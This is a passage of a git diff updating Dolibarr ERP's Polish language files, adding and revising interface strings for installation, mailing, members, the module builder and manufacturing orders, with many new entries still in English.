.lock).
      YouTryInstallDisabledByFileLock=Aplikacja próbowała przeprowadzić samodzielną aktualizację, ale strony instalacji / aktualizacji zostały wyłączone ze względów bezpieczeństwa (ze względu na istnienie pliku blokady install.lock w katalogu dokumentów dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Kliknij tutaj, aby przejść do swojej aplikacji ClickOnLinkOrRemoveManualy=Jeśli trwa aktualizacja, poczekaj. Jeśli nie, kliknij poniższe łącze. Jeśli zawsze widzisz tę samą stronę, musisz usunąć / zmienić nazwę pliku install.lock w katalogu dokumentów. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Załadowany FunctionTest=Test działania +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/pl_PL/interventions.lang b/htdocs/langs/pl_PL/interventions.lang index 7ff04e7ab29..6082371f18b 100644 --- a/htdocs/langs/pl_PL/interventions.lang +++ b/htdocs/langs/pl_PL/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Ukrywa godziny i minuty z pola dat dla rekordów i InterventionStatistics=Statystyki interwencji NbOfinterventions=Ilość kart interwencji NumberOfInterventionsByMonth=Ilość kart interwencji w miesiącu (data potwierdzenia) -AmountOfInteventionNotIncludedByDefault=Ilość interwencji nie jest domyślnie uwzględniana w zysku (w większości przypadków do obliczania czasu wykorzystano karty czasu pracy). Ustaw opcję PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT na 1 w konfiguracji domowej - inne, aby je uwzględnić. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=ID interwencji InterRef=Numer referencyjny interwencji InterDateCreation=Data stworzenia interwencji @@ -66,3 +66,7 @@ RepeatableIntervention=Szablon interwencji ToCreateAPredefinedIntervention=Aby utworzyć predefiniowaną lub powtarzającą się interwencję, utwórz wspólną interwencję i przekształć ją w szablon interwencji ConfirmReopenIntervention=Czy na pewno chcesz ponownie otworzyć interwencję %s ? GenerateInter=Generate intervention +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/pl_PL/loan.lang b/htdocs/langs/pl_PL/loan.lang index d5da206656e..26406201923 100644 --- a/htdocs/langs/pl_PL/loan.lang +++ b/htdocs/langs/pl_PL/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = Nie możesz modyfikować odsetek, jeśli używasz harmonogramu # Admin ConfigLoan=Konfiguracja modułu kredytu -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Domyśly kapitał konta rachunkowego -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Domyślnie odsetki od rachunku księgowego -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Domyślnie ubezpieczenie rachunku księgowego +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Edytuj zobowiązanie finansowe diff --git a/htdocs/langs/pl_PL/mailmanspip.lang b/htdocs/langs/pl_PL/mailmanspip.lang index 93c10e6064d..e7c49bc2d1d 100644 --- a/htdocs/langs/pl_PL/mailmanspip.lang +++ b/htdocs/langs/pl_PL/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Test subskrypcji został pomyślnie wykonany MailmanDeletionSuccess=Test wypisy z subskrypcji został pomyślnie wykonany SynchroMailManEnabled=Aktualizacja Mailman zostanie przeprowadzona SynchroSpipEnabled=Aktualizacja Spip zostanie wykonana -DescADHERENT_MAILMAN_ADMINPW=Hasło administratora Mailman +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Hasło administratora Mailman DescADHERENT_MAILMAN_URL=Link do subskrypcji Mailman DescADHERENT_MAILMAN_UNSUB_URL=Link do wypisy z subskrypcji Mailman DescADHERENT_MAILMAN_LISTS=Lista (y) do automatycznego zapisu nowych członków (oddzielone przecinkiem) diff --git a/htdocs/langs/pl_PL/mails.lang b/htdocs/langs/pl_PL/mails.lang index 1b64f5ae23c..376a78a8538 100644 --- a/htdocs/langs/pl_PL/mails.lang +++ b/htdocs/langs/pl_PL/mails.lang @@ -7,10 +7,10 @@ MailCard=Karta Mailingu MailRecipients=Odbiorcy MailRecipient=Odbiorca MailTitle=Opis -MailFrom=Nadawca +MailFrom=Z MailErrorsTo=Błędów do MailReply=Odpowiedz do -MailTo=Odbiorca(y) +MailTo=Do MailToUsers=Do użytkownika (ów) MailCC=Kopiuj do MailToCCUsers=Kopiuj dla użytkowników @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Kontakty według pozycji MailingModuleDescEmailsFromFile=E-maile z pliku MailingModuleDescEmailsFromUser=E-maile wprowadzone przez użytkownika MailingModuleDescDolibarrUsers=Użytkownicy z e-mailami -MailingModuleDescThirdPartiesByCategories=Strony trzecie (według kategorii) +MailingModuleDescThirdPartiesByCategories=Kontrahenci SendingFromWebInterfaceIsNotAllowed=Wysyłanie z interfejsu internetowego jest niedozwolone. EmailCollectorFilterDesc=Aby odebrać e-mail, wszystkie filtry muszą być zgodne @@ -178,3 +178,5 @@ IsAnAnswer=To odpowiedź na pierwszą wiadomość e-mail RecordCreatedByEmailCollector=Rekord utworzony przez moduł zbierający wiadomości e-mail %s z wiadomości e-mail %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Puste, ale obowiązkowe +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/pl_PL/main.lang b/htdocs/langs/pl_PL/main.lang index 7adb3235288..a2d532e708f 100644 --- a/htdocs/langs/pl_PL/main.lang +++ b/htdocs/langs/pl_PL/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=DejaVuSans FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=Szablon niedostępny dla tego typu wiadomości email AvailableVariables=Dostępne zmienne substytucji NoTranslation=Brak tłumaczenia Translation=Tłumaczenie +Translations=Translations CurrentTimeZone=Strefa czasowa PHP (server) EmptySearchString=Wprowadź niepuste kryteria wyszukiwania EnterADateCriteria=Wprowadź kryteria daty @@ -199,6 +206,7 @@ Valid=Aktualny Approve=Zatwierdź Disapprove=Potępiać ReOpen=Otwórz ponownie +OpenVerb=Otwarte Upload=Wczytaj ToLink=Łącze Select=Wybierz @@ -216,8 +224,9 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Niezdefiniowano grup użytkowników Password=Hasło -PasswordRetype=Powtórz hasło +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Należy pamiętać, że wiele funkcji/modułów jest wyłączonych w tej demonstracji. +YourUserFile=Your user file Name=Nazwa NameSlashCompany=Nazwa / Firma Person=Osoba @@ -481,6 +490,7 @@ ActionsOnContact=Wydarzenia dla tego kontaktu/adresu ActionsOnContract=Wydarzenia związane z tym kontraktem ActionsOnMember=Informacje o wydarzeniach dla tego uzytkownika ActionsOnProduct=Wydarzenia dotyczące tego produktu +ActionsOnAsset=Events for this fixed asset NActionsLate=%s późno ToDo=Do zrobienia Completed=Zakończony @@ -888,6 +898,9 @@ MassFilesArea=Obszar plików zbudowanych masowo ShowTempMassFilesArea=Wyświetl obszar plików zbudowanych masowo ConfirmMassDeletion=Potwierdzenie usuwania zbiorczego ConfirmMassDeletionQuestion=Czy na pewno chcesz usunąć wybrane rekordy %s? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Powiązane obiekty ClassifyBilled=Oznacz jako zafakturowana ClassifyUnbilled=Klasyfikuj niezafakturowane @@ -903,8 +916,8 @@ ExportFilteredList=Eksportuj przefiltrowaną listę ExportList=Eksportuj listę ExportOptions=Opcje eksportu IncludeDocsAlreadyExported=Uwzględnij dokumenty już wyeksportowane -ExportOfPiecesAlreadyExportedIsEnable=Eksport już wyeksportowanych elementów jest włączony -ExportOfPiecesAlreadyExportedIsDisable=Eksport już wyeksportowanych elementów jest wyłączony +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Wszystkie eksportowane przemieszczenia były rejestrowane jako eksportowane NotAllExportedMovementsCouldBeRecordedAsExported=Nie wszystkie wyeksportowane przepływy można było zarejestrować jako wyeksportowane Miscellaneous=Różne @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Prywatny link do pobrania PrivateDownloadLinkDesc=Musisz być zalogowany i potrzebujesz uprawnień, aby wyświetlić lub pobrać plik Download=Pobierz DownloadDocument=Pobierz dokument +DownloadSignedDocument=Download signed document ActualizeCurrency=Aktualizuj kurs walut Fiscalyear=Rok podatkowy ModuleBuilder=Kreator modułów i aplikacji @@ -1046,6 +1060,7 @@ SearchIntoContracts=Kontrakty SearchIntoCustomerShipments=Wysyłki klienta SearchIntoExpenseReports=Zestawienia wydatków SearchIntoLeaves=Pozostawiać +SearchIntoKM=Baza wiedzy SearchIntoTickets=Bilety SearchIntoCustomerPayments=Płatności klientów SearchIntoVendorPayments=Płatności dostawcy @@ -1117,6 +1132,7 @@ DeleteFileText=Czy na pewno chcesz usunąć ten plik? ShowOtherLanguages=Pokaż inne języki SwitchInEditModeToAddTranslation=Przełącz się w tryb edycji, aby dodać tłumaczenia dla tego języka NotUsedForThisCustomer=Nieużywany dla tego klienta +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Kwota musi być dodatnia ByStatus=Według statusu InformationMessage=Informacja @@ -1137,15 +1153,29 @@ EventReminder=Przypomnienie o wydarzeniu UpdateForAllLines=Aktualizacja dla wszystkich linii OnHold=Wstrzymany Civility=Grzeczność -AffectTag=Wpływ na Tag +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Utwórz użytkownika zewnętrznego -ConfirmAffectTag=Wpływ tagu zbiorczego -ConfirmAffectTagQuestion=Czy na pewno chcesz wpłynąć na tagi %s wybranych rekordów? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=Nie znaleziono typu tagu dla typu rekordów +Rate=Stawka +SupervisorNotFound=Supervisor not found CopiedToClipboard=Skopiowane do schowka InformationOnLinkToContract=Kwota ta to tylko suma wszystkich pozycji zamówienia. Nie bierze się pod uwagę żadnego pojęcia czasu. ConfirmCancel=Czy na pewno chcesz zrezygnować EmailMsgID=E-mail MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1174,9 +1204,21 @@ Terminated=Terminated AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Wewnętrzny użytkownik +ExternalUser=Zewnętrzny użytkownik +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/pl_PL/members.lang b/htdocs/langs/pl_PL/members.lang index 87c3bd72e58..4cef37e44f2 100644 --- a/htdocs/langs/pl_PL/members.lang +++ b/htdocs/langs/pl_PL/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Inny członek (nazwa: %s, zalo ErrorUserPermissionAllowsToLinksToItselfOnly=Ze względów bezpieczeństwa, musisz być przyznane uprawnienia do edycji wszystkich użytkowników, aby można było powiązać członka do użytkownika, który nie jest twoje. SetLinkToUser=Link do użytkownika Dolibarr SetLinkToThirdParty=Link do Dolibarr trzeciej +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Lista członków MembersListToValid=Lista szkiców członków (do zatwierdzenia) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Nowy członek @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Nie można usunąć typu członka NewSubscription=Nowe Wkład NewSubscriptionDesc=Ta forma pozwala na nagrywanie abonament jako nowy członek fundacji. Jeśli chcesz odnowić subskrypcję (jeśli jest już członkiem), prosimy o kontakt z Rady Fundacji zamiast e-mailem %s. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Czas trwania +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Późno SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=Treść Twojej karty członka # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Chcemy Cię poinformować, że otrzymaliśmy Twoją prośbę o członkostwo.

      ThisIsContentOfYourMembershipWasValidated=Chcemy Cię poinformować, że Twoje członkostwo zostało zweryfikowane przy użyciu następujących informacji:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=Chcemy Cię poinformować, że Twoja subskrypcja wkrótce wygaśnie lub już wygasła (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Mamy nadzieję, że ją odnowisz.

      ThisIsContentOfYourCard=To jest podsumowanie informacji, które posiadamy o Tobie. Skontaktuj się z nami, jeśli coś jest nie tak.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Temat powiadomienia e-mail otrzymanego w przypadku automatycznego wpisu gościa @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Obrót (dla firmy) lub Budżet (na fundamencie) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Przejdź na zintegrowanej stronie płatności online +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Przez naturę MembersStatisticsByProperties=Statystyki członków według natury VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/pl_PL/modulebuilder.lang b/htdocs/langs/pl_PL/modulebuilder.lang index 05d58189a2b..588cc95c622 100644 --- a/htdocs/langs/pl_PL/modulebuilder.lang +++ b/htdocs/langs/pl_PL/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Ścieżka, w której moduły są generowane/edytowane (pierwszy katalog dla modułów zewnętrznych zdefiniowany w %s): %s ModuleBuilderDesc3=Znaleziono wygenerowane/edytowalne moduły: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Moduł jest wykrywany jako „edytowalny”, gdy plik %s ? Spowoduje to zmianę kodu w klasie PHP, ale także usunie kolumnę z tabeli definicji obiektu. NotNull=NOT NULL NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=Jest miarą DirScanned=Katalog przeskanowany NoTrigger=Bez wyzwalacza NoWidget=Brak widżetu -GoToApiExplorer=Eksplorator API +ApiExplorer=Eksplorator API ListOfMenusEntries=Lista pozycji menu ListOfDictionariesEntries=Lista haseł w słownikach ListOfPermissionsDefined=Lista zdefiniowanych uprawnień SeeExamples=Zobacz przykłady tutaj -EnabledDesc=Warunek, aby to pole było aktywne (Przykłady: 1 lub $conf->global->MYMODULE_MYOPTION) -VisibleDesc=Czy pole jest widoczne? (Przykłady: 0 = niewidoczne, 1 = widoczne na liście i utwórz / zaktualizuj / wyświetl formularze, 2 = widoczne tylko na liście, 3 = widoczne tylko w formularzu tworzenia / aktualizacji / przeglądania (nie na liście), 4 = widoczne na liście i tylko aktualizuj / wyświetl formularz (nie twórz), 5 = widoczne tylko w formularzu widoku końca listy (nie tworzy, nie aktualizuje).

      Użycie wartości ujemnej oznacza, że pole nie jest domyślnie wyświetlane na liście, ale można je wybrać do przeglądania).

      Może to być wyrażenie, na przykład:
      preg_match ('/ public /', $ _SERVER ['PHP_SELF'])? 0: 1
      ($ user- 1 holiday? -DisplayOnPdfDesc=Wyświetlając to pole w kompatybilnych dokumentach PDF możesz zarządzać jego pozycją za pomocą pola "Pozycja".
      Obecnie znane kompatybilne modele PDF to: eratosthene (zamówienie), espadon (dostawa), sponge (faktury), cyan (propozycja/oferta), cornas (zamówienie dostawcy)

      Dla dokumentu:
      0 = nie wyświetlaj
      1 = wyświetlaj
      2 = wyświetlaj tylko, gdy nie puste

      Dla linii dokumentu:
      0 = nie wyświetlaj
      1 = wyświetlaj w kolumnie
      3 = wyświetlaj w linii kolumny opisowej po opisie
      4 = wyświetlaj w kolumnie opisowej po opisie, tylko gdy nie pusty -DisplayOnPdf=Wyświetl na dokumencie PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Czy wartość pola można skumulować, aby uzyskać sumę na liście? (Przykłady: 1 lub 0) SearchAllDesc=Czy to pole jest używane do wyszukiwania za pomocą narzędzia szybkiego wyszukiwania? (Przykłady: 1 lub 0) SpecDefDesc=Wpisz tutaj całą dokumentację, którą chcesz dostarczyć wraz z modułem, która nie jest jeszcze zdefiniowana w innych zakładkach. Możesz użyć .md lub lepszej, bogatej składni .asciidoc. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Użyj określonego adresu URL edytora UseSpecificFamily = Użyj określonej rodziny UseSpecificAuthor = Użyj konkretnego autora UseSpecificVersion = Użyj określonej wersji początkowej -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=Jeśli to zaznaczysz, zostanie wygenerowany kod w celu dodania pola „Generuj dokument” do rekordu. -ShowOnCombobox=Pokaż wartość w combobox +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Klucz do podpowiedzi CSSClass=CSS do formularza edycji/tworzenia CSSViewClass=CSS do formularza odczytu CSSListClass=CSS dla listy NotEditable=Nie można edytować ForeignKey=Klucz obcy -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Konwerter Ascii na HTML AsciiToPdfConverter=Konwerter ASCII na PDF TableNotEmptyDropCanceled=Tabela nie jest pusta. Upuszczenie zostało anulowane. ModuleBuilderNotAllowed=Kreator modułów jest dostępny, ale nie jest dozwolony dla użytkownika. ImportExportProfiles=Importuj i eksportuj profile -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/pl_PL/mrp.lang b/htdocs/langs/pl_PL/mrp.lang index dec735baedb..d222ceac8e1 100644 --- a/htdocs/langs/pl_PL/mrp.lang +++ b/htdocs/langs/pl_PL/mrp.lang @@ -11,8 +11,8 @@ Bom=Zestawienia materiałów BillOfMaterials=Zestawienie materiałów BillOfMaterialsLines=Bill of Materials lines BOMsSetup=Konfiguracja BOM modułu -ListOfBOMs=Lista zestawień materiałowych - BOM -ListOfManufacturingOrders=Lista zleceń produkcyjnych +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Zamówienia produkcyjne NewBOM=Nowa lista materiałów ProductBOMHelp=Produkt do utworzenia (lub demontażu) za pomocą tego BOM.
      Uwaga: Produkty z właściwością „Rodzaj produktu” = „Surowiec” nie są widoczne na tej liście. BOMsNumberingModules=Szablony numeracji BOM @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Czy na pewno chcesz sklonować zestawienie komponent ConfirmCloneMo=Czy na pewno chcesz sklonować zamówienie produkcyjne %s? ManufacturingEfficiency=Wydajność produkcji ConsumptionEfficiency=Efektywność zużycia +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=Wartość 0,95 oznacza średnio 5%% straty wytworzonego produktu DeleteBillOfMaterials=Usuń listę materiałów @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=Dla ilości do demontażu %s ConfirmValidateMo=Czy na pewno chcesz zweryfikować to zamówienie produkcyjne? ConfirmProductionDesc=Klikając „%s”, potwierdzisz zużycie i / lub produkcję dla ustalonych ilości. Spowoduje to również zaktualizowanie zapasów i rejestrowanie ruchów zapasów. ProductionForRef=Produkcja %s +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=Zamykaj automatycznie zlecenie produkcyjne, jeśli osiągnięte zostaną ilości do spożycia i produkcji NoStockChangeOnServices=Brak zmian w magazynie usług ProductQtyToConsumeByMO=Ilość produktu do spożycia w ramach otwartego zamówienia @@ -80,6 +83,7 @@ ProductsToProduce=Produkty do produkcji UnitCost=Cena jednostkowa TotalCost=Całkowity koszt BOMTotalCost=Koszt wytworzenia tego BOM na podstawie kosztu każdej ilości i produktu do konsumpcji (użyj ceny kosztu, jeśli została zdefiniowana, w innym przypadku średniej ceny ważonej, jeśli została zdefiniowana, w przeciwnym razie najlepszej ceny zakupu) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=Aby zamknąć zlecenie produkcyjne, musisz najpierw rozpocząć produkcję (patrz zakładka „%s”). Ale możesz to anulować. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Zestaw nie może być użyty w BOM lub MO Workstation=Stacja robocza @@ -107,3 +111,10 @@ THMEstimatedHelp=Stawka ta umożliwia zdefiniowanie prognozowanego kosztu towaru BOM=Bill Of Materials CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Manufacturing Orders and lines +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/pl_PL/other.lang b/htdocs/langs/pl_PL/other.lang index e33591cf29a..ef6f974d893 100644 --- a/htdocs/langs/pl_PL/other.lang +++ b/htdocs/langs/pl_PL/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Zatwierdzono zamówienie zakupu Notify_ORDER_SUPPLIER_REFUSE=Zamówienie zostało odrzucone Notify_PROPAL_VALIDATE=Oferta klienta potwierdzona Notify_PROPAL_CLOSE_SIGNED=Oferta klienta zamknięta i podpisana +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Zamknięta propozycja klienta odrzucona 